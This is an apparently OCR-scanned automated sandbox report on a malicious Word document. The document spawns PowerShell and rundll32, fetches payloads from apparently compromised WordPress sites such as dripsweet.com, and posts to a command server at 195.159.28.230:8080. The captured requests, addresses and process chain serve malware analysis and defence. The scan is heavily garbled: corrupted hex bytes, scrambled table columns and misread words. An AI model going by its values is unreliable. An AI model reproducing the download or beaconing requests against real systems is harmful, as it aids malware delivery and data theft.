192.168.2.22
192.168.2.22
192.168.2.22
172.67.215.216
192.168.2.22
192.168.2.22
172.67.215.216
172.67.215.216
192.232.250.227
192.168.2.22
192.232.250.227
192.232.250.227
192.168.2.22
192.168.2.22
192.232.250.227
192.168.2.22
192.168.2.22
192.232.250.227
103.133.214.149
192.168.2.22
103.133.214.149
103.133.214.149
192.168.2.22
192.168.2.22
192.168.2.22
103.133.214.149
103.133.214.149
192.168.2.22
103.133.214.149
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 25, 2021 15:12:42.058208942 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.254710913 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.254785061 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.254858971 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.254892111 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.254914999 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.254970074 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.254997969 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.255028009 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.255085945 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.442918062 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.442953110 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.442970037 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.442986012 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.443008900 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.443028927 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.443061113 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.443089008 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.443109989 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.443130970 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.443150997 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.443171978 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.443211079 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.443254948 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.443260908 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.631992102 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632050037 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632086039 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632110119 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632144928 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632148027 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.632167101 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632172108 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.632188082 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632213116 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.632215023 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632250071 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632272005 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632304907 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632306099 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.632329941 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632354975 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632381916 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.632386923 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632407904 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632428885 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632448912 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632457972 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.632469893 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632489920 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632514000 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632522106 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.632534981 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632555008 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632575989 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.632581949 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.632777929 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.634223938 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.820230961 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.820808887 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.820856094 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.820904016 CET 443 49169 103.133.214.149 192.168.2.22
Jan 25, 2021 15:12:42.820944071 CET 49169 443 192.168.2.22 103.133.214.149
Jan 25, 2021 15:12:42.820946932 CET 443 49169 103.133.214.149 192.168.2.22
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Timestamp
Jan 25, 2021 15:12:42.820983887 CET
Jan 25, 2021 15:12:42.820987940 CET

UDP Packets

Timestamp

Jan 25, 2021 15:12:38.039045095 CET
Jan 25, 2021 15:12:38.112504005 CET
Jan 25, 2021 15:12:38.261934042 CET
Jan 25, 2021 15:12:38.459180117 CET
Jan 25, 2021 15:12:39.298396111 CET
Jan 25, 2021 15:12:40.092365980 CET
Jan 25, 2021 15:12:40.973597050 CET
Jan 25, 2021 15:12:41.021452904 CET
Jan 25, 2021 15:12:41.025507927 CET
Jan 25, 2021 15:12:41.073317051 CET
Jan 25, 2021 15:12:41.350282907 CET
Jan 25, 2021 15:12:41.406754017 CET
Jan 25, 2021 15:12:41.409959078 CET
Jan 25, 2021 15:12:41.476284027 CET

ICMP Packets

Timestamp

Jan 25, 2021 15:13:32.134107113 CET

Jan 25, 2021 15:13:35.214181900 CET

DNS Queries

Timestamp

Jan 25, 2021 15:12:38.039045095 CET
Jan 25, 2021 15:12:38.261934042 CET

Jan 25, 2021 15:12:39.298396111 CET

DNS Answers

Timestamp Source IP

Jan 25, 2021
15:12:38.112504005
CET

8.8.8.8

Jan 25, 2021
15:12:38.112504005
CET

8.8.8.8

Jan 25, 2021 8.8.8.8
15:12:38.459180117

CET

Jan 25, 2021
15:12:40.092365980
CET

8.8.8.8

Jan 25, 2021
15:12:40.092365980
CET

8.8.8.8

Dest IP
192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

192.168.2.22

HTTP Request Dependency Graph

e dripsweet.com

e jbsmediaventures.com

e 195.159.28.230
e 195.159.28.230:8080

Copyright null 2021

Source IP

192.168.2.22

192.168.2.22

192.168.2.22

Trans ID

Oxad13

Oxad13

0x959b

0x82b3

0x82b3

Source Port
443
49169

Source Port
52197
53
53099
53
52838
53
61200
53
49548
53
55627
53
56009
53

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Dest Port
49169
443

Dest Port
53
52197
53
53099
53
52838
53
61200
53
49548
53
55627
53
56009

Source IP

69.38.130.14

69.38.130.14

Trans ID

Oxad13

0x959b

0x82b3

Name

dripsweet.com

dripsweet.com

jbsmediave
ntures.com

www.r3-tech.biz

r3-tech.biz

Source IP
103.133.214.149
192.168.2.22

Source IP
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8

Dest IP Checksum

192.168.2.22 8718

192.168.2.22 8718

OP Code Name

Standard query
(0)

Standard query  jbsmediave
0) ntures.com

Standard query
(0)

CName Address
172.67.215.216
104.21.43.16
192.232.250.227

r3-tech.biz

dripsweet.com

www.r3-tech.biz

Dest IP
192.168.2.22
103.133.214.149

Dest IP
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22

Code

(Host
unreachable)

(Host
unreachable)

Type
A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical name)

103.133.214.149 A (IP address)

Type
Destination
Unreachable

Destination
Unreachable

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process
0 192.168.2.22 49167 172.67.215.216 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
kBytes
Timestamp transferred Direction Data
Jan 25, 2021 0 ouT GET /wp-admin/gTiO/ HTTP/1.1
15:12:38.179814100 CET Host: dripsweet.com
Connection: Keep-Alive
Jan 25, 2021 1 IN HTTP/1.1 200 OK
15:12:38.249883890 CET Date: Mon, 25 Jan 2021 14:12:38 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __ cfduid=d8f3f79f0364e720076b492a8152639b21611583958; expires=Wed, 24-Feb-21 14:12:38 GMT;
path=/; domain=.dripsweet.com; HttpOnly; SameSite=Lax

X-Frame-Options: SAMEORIGIN

cf-request-id: 07db7cc4c40000c847c6b2d000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=fsP%2FaDvnuKgh65A%2BudEw8crtAR5rv%2F
dRJysGOKzQBO05rsK6bX12crb%2FJES5f2kZGQEfPdreb8Uax2QJpok9bnWg%2BloglwtNOyKHL%2BgSw"}],"group”:“cf-nel"
,"max_age":604800}

NEL: {"max_age":604800,"report_to":"cf-nel"}

Server: cloudflare

CF-RAY: 6172971adf6ac847-AMS

Data Raw: 31 30 64 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 21 2d 2d 5b 69 66 20 6¢ 74 20 49 45 20
37 5d 3e 20 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6¢ 64 69 65 22 20 6¢ 61 6e 67 3d 22
65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20
3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55
53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d
6¢ 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6¢ 64 69 65 22 20 6¢ 61 6€ 67 3d 22 65 6e 2d 55 53 22 3e 20
3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3¢ 68 74 6
d 6c 20 63 6¢ 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e
64 69 66 5d 2d 2d 3e Oa 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e
67 20 73 69 74 65 20 7c 20 43 6¢ 6f 75 64 66 6¢ 61 72 65 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65
74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6¢ 65 22 20 63
6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 2f 3e Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d
22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6¢ 6¢ 6f 77 22 20 2f 3e Oa 3¢
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6€ 74 65 6e 74 3d 22 77 69 64 74 68 3d

Data Ascii: 10d7<!IDOCTYPE html>...[if It IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html
class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site | Cloudflare</titte><me
ta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-
Compatible" content="IE=Edge,chrome=1" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport"
content="width=

Session ID Source IP Source Port Destination IP Destination Port Process
1 192.168.2.22 49168 192.232.250.227 80 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
kBytes
Timestamp transferred Direction Data
Jan 25, 2021 6 ouT GET /wp-content/V/ HTTP/1.1
15:12:38.643887043 CET Host: jbsmediaventures.com
Connection: Keep-Alive
Jan 25, 2021 6 IN HTTP/1.1 302 Found
15:12:38.856857061 CET Date: Mon, 25 Jan 2021 14:12:38 GMT

Server: nginx/1.19.5

Content-Type: text/html; charset=iso-8859-1

Content-Length: 237

Location: http://josmediaventures.com/cgi-sys/suspendedpage.cgi

X-Server-Cache: true

X-Proxy-Cache: EXPIRED

Data Raw: 3¢ 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 33 30 32 20 46 6f
75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e
0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70
3a 2f 2f 6a 62 73 6d 65 64 69 61 76 65 6e 74 75 72 65 73 2e 63 6f 6d 2f 63 67 69 2d 73 79 73 2f 73 75 73 70 65 6e 64 65
64 70 61 67 65 2e 63 67 69 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa
Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>302 Found</title></head>
<body><h1>Found</h1><p>The document has moved <a href="http://jbsmediaventures.com/cgi-sys/suspendedpage.
cgi">here</a>.</p></body></html>

Jan 25, 2021 7 ouT GET /cgi-sys/suspendedpage.cgi HTTP/1.1
15:12:38.858207941 CET Host: jbsmediaventures.com
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Timestamp

Jan 25, 2021
15:12:39.286540985 CET

Session ID

2

Timestamp

Jan 25, 2021
15:13:41.611706018 CET

Jan 25, 2021
15:13:41.877362013 CET

Copyright null 2021

kBytes
transferred

7

Source IP

192.168.2.22
kBytes

transferred

443

451

Direction

IN

Source Port

49173

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Mon, 25 Jan 2021 14:12:39 GMT

Server: nginx/1.19.5

Content-Type: text/html

Vary: Accept-Encoding

X-Server-Cache: false

Transfer-Encoding: chunked

Data Raw: 31 65 65 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44
54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6¢ 2f 2f 45 4e 22 3e Oa 3c 68 74 6d 6¢ 3e Oa 20
20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6¢ 65 3e 43 6f 6e 74
6163 74 20 53 75 70 70 6f 72 74 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61
2068 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78
74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e Oa 20
20 20 20 20 20 20 3c 62 6f 64 79 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68
74 3d 22 30 22 20 6¢ 65 66 74 6d 61 72 67 69 6e 3d 22 30 22 20 74 6f 70 6d 61 72 67 69 6e 3d 22 30 22 3e 0a 20 20 20 2
02020 20 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74
3d 22 31 30 30 25 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 53 43 52 4f 4¢ 4c 49 4e 47 3d 22 61 75 74 6f 22
20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 66 77 64 73 73 70 2e 63 6f 6d 2f
3f 64 6e 3d 72 65 66 65 72 65 72 5f 64 65 74 65 63 74 26 70 69 64 3d 35 50 4f 4c 34 46 32 4f 34 22 3e 3c 2f 69 66 72 61
6d 65 3e 0a 20 20 20 20 20 20 20 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e 0a 0d Oa 30 0d Oa 0d Oa

Data Ascii: 1ee<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional/EN"><htmI> <head>

<title>Contact Support</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head>
<body marginwidth="0" marginheight="0" leftmargin="0" topmargin="0"> <iframe width="100%" height="100%"
frameborder="0" SCROLLING="auto" marginwidth="0" src="http://fwdssp.com/?dn=referer_detect&pid=5POL4F204"><
fiframe> </body></html|>0

Destination IP Destination Port Process

195.159.28.230 8080 C:\Windows\SysWOW64\rundll32.exe

Data

POST /1kewy5snl5u5qwdli/2m2zjf0onqwa3jb46/txmdgqo8th3cjzzn3/e09y7w1/n16qjyb3buse6byb/1xkxxrlbgrsn7c/
HTTP/1.1

DNT: 0

Referer: 195.159.28.230/1kewy5snl5u5qwd1i/2m2zjf0onqwa3jb46/txmdgqo8th3cjzzn3/e09y7w1/n16gjyb3busebbyb/1xkxxrl
bgrsn7c/

Content-Type: multipart/form-data; boundary=--------------------- WeEo7AXkVfPE5sRsINGk1

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 195.159.28.230:8080

Content-Length: 6436

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 25 Jan 2021 14:13:41 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 62 39 34 0d 0a Oc 6b 51 46 46 78 08 94 93 bd 60 43 84 37 30 85 54 15 fb 48 19 cc 62 04 af 94 df 1f 80 84 90
8e 76 60 4c 06 4d 7c 00 56 56 23 5f 69 f5 6f al 3d fa 8a e1 89 8b ba c5 19 e4 5b 48 cd 39 59 8e 81 f3 7d 71 d7 b3 13 b3
99 e4 1b 5¢ 84 38 52 9b af b6 4e 4b f1 69 2d a5 78 54 d4 c2 63 c4 32 06 35 d7 07 3e 86 e5 €9 71 57 48 51 11 66 c1 45 d5
bb f2 fd 61 c6 7c 36 €7 e7 fO ad 3a 3c el 33 6a c0 37 el 86 89 d3 ab 77 83 7a bb 48 c8 af ee bf 1f b8 82 5f 06 7b 8b 46 93
1b 40 6a 48 70 90 d4 3e 23 4d 4e 00 db a5 4d 25 f6 6d 7e 3c aa f1 5f a8 1f 89 17 d6 23 53 14 d7 31 f9 ef aa e8 51 38 6d
7d 6e 15 4a 3a 75 4b 32 76 b2 fb 60 9a ab €9 7c eb e3 8b 85 6d 6b 7b f9 75 6e 94 26 Oc 25 78 1le 1d €9 7d Oc e3 d4 52 dO
d9 2f d3 49 ae d8 56 67 8d fc 6d 2c ec 8e 48 Oc ab 2e 78 7f 22 aa 6¢ 8e c5 d5 af f4 a3 43 8c 51 35 41 8d 70 9e 1d 64 89
63 dc 5a42 9d e3 6f 41 e5 a3 bc 00 5a 43 78 9a d6 fd 4c 1a d4 97 03 da 80 84 94 92 6¢ ed fb 35 40 a9 98 09 6¢ d2 e9 be
44 ff ee 3e 5f 9a 15 7c 4c 41 c1 90 03 4f a3 90 0f a3 42 65 16 €3 68 a7 98 14 2b 62 f1 f1 06 3e 41 el 69 el ea 9a dd 53 68
378099 e5 ee d0 54 €2 06 b1 4c cc 1c 98 68 51 43 4b c2 75 52 9e 5f 1f €3 90 80 3b a8 ba 01 fe 4a 99 9c 60 62 5f 4e 34
f0 18 06 5a cb b7 a3 d2 99 be ac a4 e9 e0 8f ¢3 05 el d2 f1 Oe 55 c2 2f ad 5¢ 58 72 bc 3f 8e al da 08 40 8 0d ce 01 31 60
c7 77 10 d6 47 96 31 1d cb Oc ff ec 88 c3 37 2a ef bb 59 db 2e f7 09 d4 4c 75 a7 a3 14 e0 c2 cf ba db dd ee 4b 27 67 c1
15 df e7 87 72 7c a8 99 11 19 2e 35 fb 9c e4 8d f5 72 76 4d ff 5¢ 27 b4 5a a5 af ee 55 79 b9 87 5d 8d f5 0d 02 9b 80 52 ec
08 5a 6a f7 7f a9 da b3 8f a5 2c c7 aa 84 e2 e3 b0 34 c6 62 61 ed d5 2c 8c e5 f2 a5 5a 8b 43 95 fa 87 48 eb d0 29 6f 6b b7
d8 1c 5b ed 7a 93 67 90 a0 f1 01 ba 0d 93 02 29 4c 6d €2 31 7d al 98 97 d1 c7 de 78 03 el 21 42 81 77 6d 43 75 05 5d
9b 83 3b f4 aa 93 95 29 18 4f 68 92 5¢ 7b 99 ce 7e 57 be fa 49 32 22 8e 72 ab 55 ch 66 88 c2 a9 c1 ff 5a 6e 47 4b be 24
62 a2 99 fc 97 55 6e 5c¢ 7d cd 45 cf 64 €2 33 79 9b d4 8a 74 {7 0a 22 49 58 86 94 94 70 65 73 0f €0 52 dd Ob fd cb 10 1f
58 1la 61 3e 3a 86 Ob 5a f7 de dc 62 20 85 50 02 d8 7f 20 07 8f 4b 34 58 b8 ae 67 97 8b d1 el 78 34 5¢ 83 c1 f8 14 e0 2d
dc 47 Oc dd 21 Ob 6d f2 50 6¢ 7a bb 70 cd 25 d7 f9 59 bd 8a d1 da 7e 06 1c 2e b6 9f 48 91 66 78 ec 44 0a e0 df db bb cb
46 b5 cd 2c 83 da c3 ae 2 2a 6 b0 24 f1 18 f8 f2 82 d4 6d dc 90 7b fd c3 a5 6b 2d 13 95 54 2c a3 e0 20 8e 99 92 18 59 6f
1a 24 c03b 37 74 39 e7 9b a5 6d 05 21 64 b4 e6 c0 37 38 c6 bf 6a €9 05 f1 81 48 1a a0 ad 04 83 2c b4 f3 34 9f Oe bb Oa
2501 a8 70 ca ea 73 63 b3 a6 79 d3 3e e6 6d c8 a9 7d 32 aa c4 7c d1 ac db ac d5 94 96 9b 83 c2 90 5 aa 65 07 2b 46 37
77 cc f3 5e 0f 96 1b b8 40 13 c1 30 al 40 4e 1d e9 c2 fada dc 7c eb a4 00 Oc 04 98 5f b8 17 7a ce ef 27 eb 15 2a 17 75 9¢
8b €8 25 41 25 2c 7c 40 01 3b 96 f3 c4 1e d9 67 77 60 b5 98 20 f2 04 b2 4b 75 59 7 8a 2c bb 2a 49 e2 1d 53 43 5b 68 35
8857 8b81a877 1217 lacc ed 7f 6a 26 c1 a7 d3 3b ff d4 a8 59 9c ed c6 d4 7f 3f Oc e8 76 80 e0 d6 aa 25 60 ee 2a cO
758555 7e cb 90 3e 17 43 64 69 47 11 ca af 40 1f c8 8¢ 28 68 82 8a 29 f4 2e 75 aa 4¢c 98 7e 71 cb 77 aa 1e 85 46 6f b4
fe d9 79 97 70 49 el b8 aa 80 1d e3 2d fe 59 af a6 37 5e 03 fb 75 29 8¢ c5 €9 06 53 12 ca 38 af 20 13 60 1c 18 f0 17 43 3f
Oe 7e 2f 74 7c 2d bf 18 ec 77 b8 9d 43 b2 fb 8e f1 d7 5e 56 73 13 e8 e0 ed dd ce ab dd e0 ab ba f8 63 7c 1c f7 46 3d aa 30
10 87 cc 76 f2 39 a6 2a c7 3e 65 7c fa cd ae 4a 18 5e 40 8d 84 fe ae 4a 99 f3 cc ca

Data Ascii: b94kQFFx C70THbv LM|VV#_io=[H9Y}q\8RNKi-xTc25>qWHQfEa|6:<3j7wzH_{F@jHp>#MNM%m-~
<_#S1Q8m}nJ:uK2v'|mk{un&%x}R/IVgm,H.x"ICQ5ApdcZBoAZCxLIS@ID>_|LAOBeh+b>AiSh7TLhQCKuUR_;J'b_
N4ZUNXr?@1 ' wG17*Y.LuK'gr|.5rvM\'ZUy]RZj,4ba,ZCH)ok[zg)Lm1}x!BwmCu];) Oh\{~WI2"rUfZnGK$bUn\}Ed3yt"IXp
esRXa>:Zb P K4Xgx4\-G!mPIzp%Y~.HfxDF,*$m{k-T, Y0$;7t9m!d78jH,4%pscy>m}2|e+F7w @0@N|_z"*u%A%,|@;gw" K
uY,*ISC[h5Wwj&;Y ?v% *uU~>CdiG@ (h).uL~qwFoypl-Y7/u)S8 "C?~/t|-wC"Vsc|F=0v9*>e|I*"@J
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Code Manipulations

Statistics

Behavior

@ WINWORD.EXE

® cmd.exe

@ msg.exe

@ powershell.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe
rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

@ rundll32.exe

System Behavior

Click to jump to process

Analysis Process: WINWORD.EXE PID: 1476 Parent PID: 584

General

Start time: 15:12:36

Start date: 25/01/2021

Path: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding
Imagebase: 0x13f9d0000

File size: 1424032 bytes

MDS5 hash: 95C38D04597050285A18F66039EDB456

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\VBE read data or list device directory file | success or wait 1 7FEE91C26B4 CreateDirectoryA
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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File Deleted

Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\~DFFOFE84B913434371.TMP success or wait 1 7FEEQ0E9ACO unknown
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\VBA success or wait 1 7FEEQOFE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0 success or wait 1 7FEEQ0FE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common success or wait 1 7FEEQ0FE72B RegCreateKeyExA
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7FEEQ0E9ACO unknown
